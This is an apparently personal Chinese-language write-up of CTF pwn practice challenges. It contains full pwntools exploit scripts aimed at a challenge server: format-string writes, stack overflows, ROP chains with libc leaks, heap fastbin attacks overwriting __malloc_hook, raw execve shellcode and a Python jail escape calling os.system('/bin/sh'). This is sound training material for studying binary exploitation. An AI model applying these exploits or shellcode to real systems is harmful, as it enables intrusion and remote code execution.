新手练习
CGfsb
简单的格式化字符串
from pwn import *
p = process("cgfsb")
p = remote("111.198.29.45",32128)
p.sendline("123")
p.sendline(p32(0x0804A068)+"%4c%10$n")
p.interactive()
get_shell
nc 上去直接 cat flag
hello_pwn
溢出即可
from pwn import *
# p = process("./hello_pwn")
p = remote("111.198.29.45",32145)
p.sendline('a'*4+p64(0x6E756161))
p.interactive()
when_did_you_born
from pwn import *
# context.log_level="debug"
# p = process('./when_did_you_born')
p = remote("111.198.29.45",30140)
payload = "a"*8+p32(1926)
p.recv()
p.sendline("1111")
p.recv()
p.sendline(payload)
p.interactive()
level0
from pwn import *
# context.log_level="debug"
# p = process('./level0')
p = remote("111.198.29.45", 30142)
payload = "a"*0x88+p64(0x400596)
p.sendline(payload)
p.interactive()
level2
from pwn import *
# context.log_level="debug"
# p = process('./level2')
elf = ELF('./level2')
p = remote("111.198.29.45", 30143)
binbash = 0x804A024
payload = "a"*(0x88+4)+p32(elf.plt['system'])+p32(0xdeadbeef)+p32(binbash)
p.recv()
p.sendline(payload)
p.interactive()
string
这道题目话太多了:(,实际上就是一个格式化字符串漏洞的利用,修改v3处的值为85即可。
from pwn import *
# context.log_level="debug"
# a = process('./string')
a = remote("111.198.29.45",30155)
a.recvuntil("secret[0] is ")
v3_addr=a.recvuntil("\n")
v3_addr="0x"+v3_addr[:-1]
v3_address=eval(v3_addr)
a.recvuntil("What should your character's name be:\n")
a.sendline("a")
a.recvuntil("So, where you will go?east or up?:\n")
a.send("east\n")
a.recvuntil("go into there(1), or leave(0)?:\n")
a.send("1\n")
a.recvuntil("'Give me an address'\n")
a.send(str(v3_address)+"\n")
a.recvuntil("you wish is:\n")
payload="%085d%7$n"
a.sendline(payload)
a.recvuntil("Wizard: I will help you! USE YOU SPELL\n")
a.sendline("\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05")
a.interactive()
guess_num
先看下程序逻辑,漏洞点在于输入name的时候存在溢出,能够将栈中的随机数种子覆盖掉,然后就能够猜出数字了。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
FILE *v3; // rdi
const char *v4; // rdi
int v6; // [rsp+4h] [rbp-3Ch]
int i; // [rsp+8h] [rbp-38h]
int v8; // [rsp+Ch] [rbp-34h]
char v9; // [rsp+10h] [rbp-30h]
unsigned int seed[2]; // [rsp+30h] [rbp-10h]
unsigned __int64 v11; // [rsp+38h] [rbp-8h]
v11 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
v3 = stderr;
setbuf(stderr, 0LL);
v6 = 0;
v8 = 0;
*(_QWORD *)seed = sub_BB0(v3, 0LL);
puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:");
gets(&v9);
v4 = (const char *)seed[0];
srand(seed[0]);
for ( i = 0; i <= 9; ++i )
{
v8 = rand() % 6 + 1;
printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &v6);
puts("---------------------------------");
if ( v6 != v8 )
{
puts("GG!");
exit(1);
}
v4 = "Success!";
puts("Success!");
}
sub_C3E(v4);
return 0LL;
}
这道题和后面萌新入坑一道题非常像,就是溢出覆盖随机数种子为0,然后本地根据0生成随机数种子即可。
- 生成随机数的c程序:
#include<stdlib.h>
#include<time.h>
int main(){
int seed[2];
* seed = time(0);
srand(0);
//srand(time(0));
int i = 0;
for(i=0;i<50;i++){
printf("%d\n",rand()%6+1);
}
return 0;
}
- exp脚本
from pwn import *
context.log_level="debug"
g = process('./a.out')# ,env={'LD_PRELOAD':'./libc.so.6'})
a = g.recv().split('\n')
# p = process("./guess_num.dms")
p = remote("111.198.29.45",31403)
p.recvuntil("Your name:")
p.sendline("a"*0x20+p64(0))
# p.sendline("aaa")
# gdb.attach(p)
for i in range(10):
p.recvuntil('guess number:')
p.sendline(str(a[i]))
p.interactive()
int_overflow
这道题目主要利用的是整数溢出:
char *__cdecl check_passwd(char *password)
{
char *result; // eax
char dest; // [esp+4h] [ebp-14h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(password); // 这里返回值是使用al寄存器存储的,在大于255的时候会发生溢出,变成一个很小的数
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
result = (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
result = strcpy(&dest, password);
}
return result;
}
简单普及下整数溢出的知识,这道题目就是利用上溢的知识绕过长度的检查,造成溢出:
- 上溢 运算后超过所能表示的上限,变成了一个很小的数
- 下溢 运算后超过所能表示的下限,变成了一个很大的数
from pwn import *
# context.log_level="debug"
# p = process("./int_overflow.dms")
flag = 0x804868B
p = remote("111.198.29.45",31431)
p.sendline("1")
p.recvuntil("username:")
p.sendline("aaaa")
p.recvuntil("passwd:")
payload = "a"*0x18 + p32(flag)
p.sendline(payload.ljust(260,"a"))
p.interactive()
这里需要注意的是要控制溢出之后的长度在3和8之间。
cgpwn2
把 /bin/sh 字符串写到 bss 段,使用溢出调用system函数的时候将 bss 段 name 的地址当作参数传入即可。
from pwn import *
# context.log_level="debug"
# p = process("./cgpwn2.dms")
elf = ELF("./cgpwn2.dms")
p = remote("111.198.29.45",31484)
p.recvuntil("please tell me your name")
p.sendline("/bin/sh")
p.recvuntil("hello,you can leave some message here:")
p.sendline("a"*0x2a + p32(elf.symbols['system']) + p32(0xdeadbeef) + p32(0x804A080))
p.interactive()
level3
溢出但是没有给出libc,可以先利用write函数泄漏其在内存中的地址,根据偏移推算出libc在内存中的基地址(查询网站 https://libc.blukat.me),然后就能得到system函数和bin_sh字符串在内存中的实际地址,再次溢出即可getshell
from pwn import *
context.log_level="debug"
# p = process("./level3.dms")
elf = ELF("./level3.dms")
p = remote("111.198.29.45",31489)
p.recvuntil("Input:")
p.sendline("a"*(0x88+4) + p32(elf.plt['write']) + p32(0x8048484) + p32(1) + p32(elf.got['write']) + p32(4))
print "---------------"
p.recv()
write_addr = u32(p.recvuntil('Input:\n',drop=True))
print "write_addr:",hex(write_addr)
libc_addr = write_addr - 0x0d43c0
print "libc_addr:",hex(libc_addr)
sys_addr = libc_addr + 0x03a940
binsh_addr = libc_addr + 0x15902b
p.sendline("a"*(0x88+4) + p32(sys_addr) + p32(0x8048484) + p32(binsh_addr))
# gdb.attach(p)
p.interactive()
萌新入坑
pwn2
主要分两步
- getlibc
- getshell
基础功能:
简单来说就是可以进行增删改查,存在漏洞的地方是改的时候能够导致堆溢出,通过溢出修改 pre_size 和 pre_inuse 可以造成 overlapping。程序开启了 pie,没办法获取进程在内存中的基地址,但是我们可以通过溢出控制 fd,使用 fastbin attack,将 malloc_hook 处改写为 one_gadget 来 getshell.
from pwn import *
context.log_level = "debug"
# p = process('./babyheap')
p = remote("111.198.29.45",32049)
libc = ELF("libc-2.23.so")
def new(size,content):
p.recvuntil(">> ")
p.sendline("1")
p.sendline(str(size))
p.sendline(content)
def edit(index,size,content):
p.recvuntil(">> ")
p.sendline("2")
p.sendline(str(index))
p.sendline(str(size))
p.sendline(content)
def printt(index):
p.recvuntil(">> ")
p.sendline("3")
p.sendline(str(index))
def delete(index):
p.recvuntil(">> ")
p.sendline("4")
p.sendline(str(index))
使用后向合并获取libc基地址:
new(0x100,"0"*0xff) # 0
new(0x100,"1"*0xff) # 1
new(0x100,"2"*0xff) # 2
new(0x100,"3"*0xff) # 3
edit(0,0x111,'0'*0x100 + p64(0x110) + p64(0x221))
delete(1)
new(0x100,"4"*0xff) # 4
printt(2)
libc_base = hex(u64(p.recv(6).ljust(8,'\x00'))- (libc.symbols["__malloc_hook"]) - 0x10 - 88)
gdb.attach(p)
p.interactive()
使用前向合并获取libc基地址:
new(0x100,"0"*0xff) # 0
new(0x10,"1"*0xf) # 1
new(0x100,"2"*0xff) # 2
new(0x100,"3"*0xff) # 3
new(0x10,"4"*0xf) # 4
edit(2,0x111,'2'*0x100 + p64(0x240) + p64(0x110))
delete(0)
delete(3)
new(0x100,"5"*0xff) # 5
printt(1)
print hex(u64(p.recv(6).ljust(8,'\x00'))- (libc.symbols["__malloc_hook"]) - 0x10 - 88)
gdb.attach(p)
p.interactive()
这里是构造类似如下chunk结构:
-
由于free B的时候,根据修改的pre_size会向前去找x的前后chunk能否合并,并且查看A是否处于空闲状态是根据B堆块的pre_inuse位判断的,所以要在x和A之间加一个fastbin使其safe unlink,或者在修改b的pre_inuse之前就free x
-
最后free b触发向前合并之前,先free掉x,通过safe unlink操作把堆块x从freelist中卸下。为了safe unlink不会出错,比较方便的方法是让x处于空闲状态。故我们应该在释放堆块B之前释放x,这样堆块x到堆块B的整个空间就都被释放掉了。不然的 unlink x的时候其fd和bk不能通过安全检查。
最开始想用 fastbin
的 double free
的,写到最后突然想到不能控制 __free_hook
附近的 size
值,malloc
的时候会抛出异常,囧。。程序开启了pie,指向堆块的指针都在程序的bss段, unlink也不行:
new(0x100,"0"*0xff) # 0
new(0x10,"1"*0xf) # 1
new(0x100,"2"*0xff) # 2
new(0x100,"3"*0xff) # 3
new(0x10,"4"*0xf) # 4
edit(2,0x111,'2'*0x100 + p64(0x240) + p64(0x110))
delete(0)
delete(3)
new(0x100,"5"*0xff) # 0
printt(1)
libc_base = u64(p.recv(6).ljust(8,'\x00'))- (libc.symbols["__malloc_hook"]) - 0x10 - 88
print hex(libc_base)
new(0x10,"6"*0xf) # 3
new(0x10,"7"*0xf) # 5
delete(1)
delete(5)
delete(3)
new(0x10,p64(libc_base+libc.symbols["__free_hook"]-0x10)+"6"*0x7) # 3
new(0x10,"8"*0xf) # 3
new(0x10,"9"*0xf) # 3
new(0x10,p64(0x45216)+"a"*0x7) # 3
delete(0)
gdb.attach(p)
p.interactive()
后来调试发现可以利用__malloc_hook
之前 -0x23的位置刚好全为0,且后边有 0x7f
可以组合作为size字段(fastbin attack
只检查 size 字段较高2字节所以低2字节的f没有影响),因此构造大小为60的 fastbin chunk
pwndbg> x /10gx 0x7f8dcf9b7ae0
0x7f8dcf9b7ae0 <_IO_wide_data_0+288>: 0x0000000000000000 0x0000000000000000
0x7f8dcf9b7af0 <_IO_wide_data_0+304>: 0x00007f8dcf9b6260 0x0000000000000000
0x7f8dcf9b7b00 <__memalign_hook>: 0x00007f8dcf678e20 0x00007f8dcf678a00
0x7f8dcf9b7b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f8dcf9b7b20 <main_arena>: 0x0000000000000000 0x0000000000000000
pwndbg> x /10gx 0x7f8dcf9b7aed
0x7f8dcf9b7aed <_IO_wide_data_0+301>: 0x8dcf9b6260000000 0x000000000000007f
0x7f8dcf9b7afd: 0x8dcf678e20000000 0x8dcf678a0000007f
0x7f8dcf9b7b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7f8dcf9b7b1d: 0x0000000000000000 0x0000000000000000
0x7f8dcf9b7b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000
exp:
from pwn import *
context.log_level = "debug"
# p = process('./babyheap')
p = remote("111.198.29.45",32049)
libc = ELF("libc-2.23.so")
def new(size,content):
p.recvuntil(">> ")
p.sendline("1")
p.sendline(str(size))
p.sendline(content)
def edit(index,size,content):
p.recvuntil(">> ")
p.sendline("2")
p.sendline(str(index))
p.sendline(str(size))
p.sendline(content)
def printt(index):
p.recvuntil(">> ")
p.sendline("3")
p.sendline(str(index))
def delete(index):
p.recvuntil(">> ")
p.sendline("4")
p.sendline(str(index))
new(0x100,"0"*0xff) # 0
new(0x10,"1"*0xf) # 1
new(0x100,"2"*0xff) # 2
new(0x100,"3"*0xff) # 3
new(0x10,"4"*0xf) # 4
edit(2,0x111,'2'*0x100 + p64(0x240) + p64(0x110))
delete(0)
delete(3)
new(0x100,"5"*0xff) # 0
printt(1)
libc_base = u64(p.recv(6).ljust(8,'\x00'))- (libc.symbols["__malloc_hook"]) - 0x10 - 88
print hex(libc_base)
new(0x200,"5"*0x1ff) # 0
new(0x60,"5"*0x5f) # 0
new(0x60,"5"*0x5f) # 0
delete(6)
edit(5,0x79,0x60*'a' + p64(0x60) + p64(0x71) + p64(libc_base+libc.symbols["__malloc_hook"] - 0x23))
new(0x60,'b'*0x5f)
payload = "\x00" *0x13 + p64(libc_base + 0x4526a)
payload = payload.ljust(0x5f,"\x00")
print hex(libc.symbols["__malloc_hook"]+libc_base)
new(0x60,payload)
p.recvuntil(">> ")
p.sendline("1")
p.sendline(str(0x66))
# gdb.attach(p)
p.interactive()
dice_game
主函数逻辑都在main函数中,在输入name的时候存在栈溢出,输入name后,会进入执行游戏的函数,大体猜数字,根据输入的数字和随机数生成的数字比较,猜对50次就给出flag:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf[55]; // [rsp+0h] [rbp-50h]
char v5; // [rsp+37h] [rbp-19h]
ssize_t v6; // [rsp+38h] [rbp-18h]
unsigned int seed[2]; // [rsp+40h] [rbp-10h]
unsigned int v8; // [rsp+4Ch] [rbp-4h]
memset(buf, 0, 0x30uLL);
*(_QWORD *)seed = time(0LL);
printf("Welcome, let me know your name: ", a2);
fflush(stdout);
v6 = read(0, buf, 0x50uLL);
if ( v6 <= 49 ) // 名字小于49 最后追加终止符,存在栈溢出
buf[v6 - 1] = 0;
printf("Hi, %s. Let's play a game.\n", buf);
fflush(stdout);
srand(seed[0]);
v8 = 1;
v5 = 0;
while ( 1 )
{
printf("Game %d/50\n", v8);
v5 = play_game();
fflush(stdout);
if ( v5 != 1 ) // 赢得50次游戏 打印出flag
break;
if ( v8 == 50 )
{
get_flag((__int64)buf);
break;
}
++v8;
}
puts("Bye bye!");
return 0LL;
}
考虑利用的方式,因为time(0)是能预测的,所以写个简单程序把随机数预测出来就行,最开始因为程序里 srand 初始化使用的是 time(0),想着不用溢出也行。后来试了下本地可以,远程不行,可能是服务器和本地 time(0) 的返回值不同,还是老老实实溢出修改初始化随机数种子把。
#include<stdlib.h>
#include<time.h>
int main(){
int seed[2];
* seed = time(0);
srand(0);
//srand(time(0));
int i = 0;
for(i=0;i<50;i++){
printf("%d\n",rand()%6+1);
}
return 0;
}
exp:
from pwn import *
context.log_level="debug"
g = process('./a.out')# ,env={'LD_PRELOAD':'./libc.so.6'})
a = g.recv().split('\n')
# p = process("./dice_game")
p = remote("111.198.29.45",32149)
p.recv()
p.sendline("a"*0x40+p64(0))
# p.sendline("aaa")
for i in range(50):
p.recvuntil('Give me the point(1~6): ')
p.sendline(str(a[i]))
p.interactive()
pwn-100
ida打开,程序就是一个栈溢出,首先检查下防护,没有 canary 和 pie,可以用rop,64位程序找下传参的gadget。
nevv@nevv:~/Desktop$ checksec pwn100
[*] '/home/nevv/Desktop/pwn100'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
nevv@nevv:~/Desktop$ ROPgadget --binary pwn100 | grep "pop rdi"
0x0000000000400763 : pop rdi ; ret
发现有 pop rdi,那么可以通过puts函数打印出某个函数的got表地址处的值,然后就可以根据偏移得到 libc 的基地址。
exp:
from pwn import *
# context.log_level="debug"
# p = process('./pwn100')
elf = ELF("./pwn100")
p = remote("111.198.29.45", 30042)
payload = ("1"*0x48 + p64(0x400763) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x400550)).ljust(200)
p.sendline(payload)
p.recvuntil('~\n')
puts_addr = u64(p.recv()[-7:-1].ljust(8,"\x00"))
libc_base = puts_addr - 0x06f690
print "libc_base", hex(libc_base)
system = libc_base + 0x045390
print "system", hex(system)
bin_sh = libc_base + 0x18cd57
print "bin_sh", hex(bin_sh)
payload = ("2"*0x47 + p64(0x400763) + p64(bin_sh) + p64(system) + p64(0xdeadbeef)).ljust(200)
p.sendline(payload)
p.interactive()
这里最开始 get shell 一直失败,后来调试过程中发现第二次输入的时候 buf 最低为有一个 0x0a 回车符,所以前边得填充 0x47 个字符。
# 用下边第二段payload进行调试
payload = '2'*8
p.sendline(payload)
gdb.attach(p)
p.interactive()
调试中间信息:可以看到第二次输入的起始位置有一个回车符 :(
05:0028│ rbp 0x7ffd08abad10 —▸ 0x7ffd08abad60 —▸ 0x7ffd08abad80 —▸ 0x400700 ◂— push r15
06:0030│ 0x7ffd08abad18 —▸ 0x4006ac ◂— mov edi, 0x400784
07:0038│ 0x7ffd08abad20 ◂— '\n22222222\n'
08:0040│ rsi-2 0x7ffd08abad28 ◂— 0xa32 /* '2\n' */
09:0048│ 0x7ffd08abad30 ◂— 0x0
Mary_Morton
根据 ida 反汇编结果来看,主要想让你做的就是利用一个格式化字符串漏洞和栈溢出漏洞来执行到目标函数,程序没有开启pie,开启了canary。不过我们可以根据格式化字符串漏洞将cannary的值打印出来,溢出的时候再写回去即可。
from pwn import *
context.log_level="debug"
# p = process("./mary_morton")
elf = ELF("./mary_morton")
p = remote("111.198.29.45",31556)
p.recv()
p.sendline("2")
p.sendline("%23$p")
p.recvuntil("0x")
cannary = p.recv(16)
cannary = p64(int("0x"+cannary,16))
# gdb.attach(p)
p.sendline("1")
payload = "a"*0x88 + cannary + p64(0xdeadbeef) + p64(0x4008de)
p.sendline(payload)
p.interactive()
stack2
打开题目,功能是输入一些数,用一个栈上的数组存储,然后计算平均数,你可以修改输入的数,在修改的地方存在越界写,ida下反汇编文件可以看到:
int hackhere()
{
return system("/bin/bash");
}
因此我们只需要将函数的返回地址覆盖写为system函数的地址即可,exp如下:
from pwn import *
context.log_level = "debug"
system_addr = 0x804859B
# p = process("stack2.dms")
p = remote("111.198.29.45",32420)
def change(idx, value):
p.sendline("3")
p.recvuntil("to change:")
p.sendline(str(idx))
p.recvuntil("new number:")
p.sendline(str(value))
p.recvuntil("5. exit")
p.recvuntil("you have:")
p.sendline(str(1))
p.recvuntil("Give me your numbers\n")
p.sendline(str(12))
change(0x84,0x9b)
change(0x84+1,0x85)
change(0x84+2,0x04)
change(0x84+3,0x08)
# gdb.attach(p)
p.sendline("5")
p.interactive()
这里我本地可以getshell,但是远程连接服务器的时候会报错 ,找不到/bin/sh文件,应该是本地和远程的环境不一样:
[DEBUG] Received 0x1c bytes:
'sh: 1: /bin/bash: not found\n'
所以只能调用system函数,然后重新给它传sh作为参数了:
from pwn import *
context.log_level = "debug"
system_addr = 0x804859B
# p = process("stack2.dms")
p = remote("111.198.29.45",32420)
def change(idx, value):
p.sendline("3")
p.recvuntil("to change:")
p.sendline(str(idx))
p.recvuntil("new number:")
p.sendline(str(value))
p.recvuntil("5. exit")
p.recvuntil("you have:")
p.sendline(str(1))
p.recvuntil("Give me your numbers\n")
p.sendline(str(12))
# system_addr
change(0x84,0x50)
change(0x84+1,0x84)
change(0x84+2,0x04)
change(0x84+3,0x08)
# sh_addr
change(0x84+8,0x87)
change(0x84+9,0x89)
change(0x84+10,0x04)
change(0x84+11,0x08)
# gdb.attach(p)
p.sendline("5")
p.interactive()
warmup
简单的溢出控制返回地址为 0x40060d 处的 get flag 函数即可。
from pwn import *
context.log_level = "debug"
p= remote("111.198.29.45", 32656)
# p = process("warmup.dms")
p.recv()
p.sendline("q"*0x48+p64(0x40060d))
p.interactive()
forgot
先checksec一下,没开pie和canary,基本上可以确定是栈溢出。
from pwn import *
context.log_level = "debug"
p= remote("111.198.29.45", 30003)
# p = process("forgot.dms")
p.recv()
p.sendline("a"*67+p32(0x80486CC))
print p.recv()
# gdb.attach(p)
p.interactive()
echo
本地可以,远程不行,一脸懵逼。
from pwn import *
context.log_level = "debug"
# p= remote("111.198.29.45", 30050)
p = process("echo.dms")
p.sendline("a"*(0x3a+4)+p32(0x804854D))
# gdb.attach(p)
print p.recv()
# p.interactive()
Escape_From_Jail-50
考察python语言 getattr 函数获取类的成员属性值
getattr(os,"system")("/bin/sh")
babyfengshui
简单分析程序,发现使用的是如下结构体:
struct user{
char *descript;
char name[0x7c];
}
问题出在修改结构体的地方:
unsigned int __cdecl update(unsigned __int8 a1)
{
char v2; // [esp+17h] [ebp-11h]
int v3; // [esp+18h] [ebp-10h]
unsigned int v4; // [esp+1Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
if ( a1 < (unsigned __int8)user_num && ptr[a1] )
{
v3 = 0;
printf("text length: ");
__isoc99_scanf("%u%c", &v3, &v2);
if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 )
{
puts("my l33t defenses cannot be fooled, cya!");
exit(1);
}
printf("text: ");
sub_80486BB(*(char **)ptr[a1], v3 + 1);
}
return __readgsdword(0x14u) ^ v4;
上述对修改长度的安全假设是建立在 description 和 user 结构题在内存中是紧邻的情况,当分配再释放一些堆块后,两者之间可能存在别的堆块,这个时候就能够造成溢出,修改中间结构体的内容。
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
io = process(['./babyfengshui.dms'])
elf = ELF('./babyfengshui.dms')
io = remote("111.198.29.45",30364)
def add_user(size, length, text):
io.sendlineafter("Action: ", '0')
io.sendlineafter("description: ", str(size))
io.sendlineafter("name: ", 'AAAA')
io.sendlineafter("length: ", str(length))
io.sendlineafter("text: ", text)
def delete_user(idx):
io.sendlineafter("Action: ", '1')
io.sendlineafter("index: ", str(idx))
def display_user(idx):
io.sendlineafter("Action: ", '2')
io.sendlineafter("index: ", str(idx))
def update_desc(idx, length, text):
io.sendlineafter("Action: ", '3')
io.sendlineafter("index: ", str(idx))
io.sendlineafter("length: ", str(length))
io.sendlineafter("text: ", text)
if __name__ == "__main__":
add_user(0x80, 0x80, 'AAAA') # 0
add_user(0x80, 0x80, 'AAAA') # 1
add_user(0x8, 0x8, '/bin/sh\x00') # 2
delete_user(0)
add_user(0x100, 0x19c, "A"*0x198 + p32(elf.got['free'])) # 0
# gdb.attach(io)
display_user(1)
io.recvuntil("description: ")
free_addr = u32(io.recvn(4))
print hex(free_addr)
system_addr = free_addr - (0x070750 - 0x03a940)
log.info("system address: 0x%x" % system_addr)
update_desc(1, 0x4, p32(system_addr))
delete_user(2)
io.interactive()
参考链接:
网友评论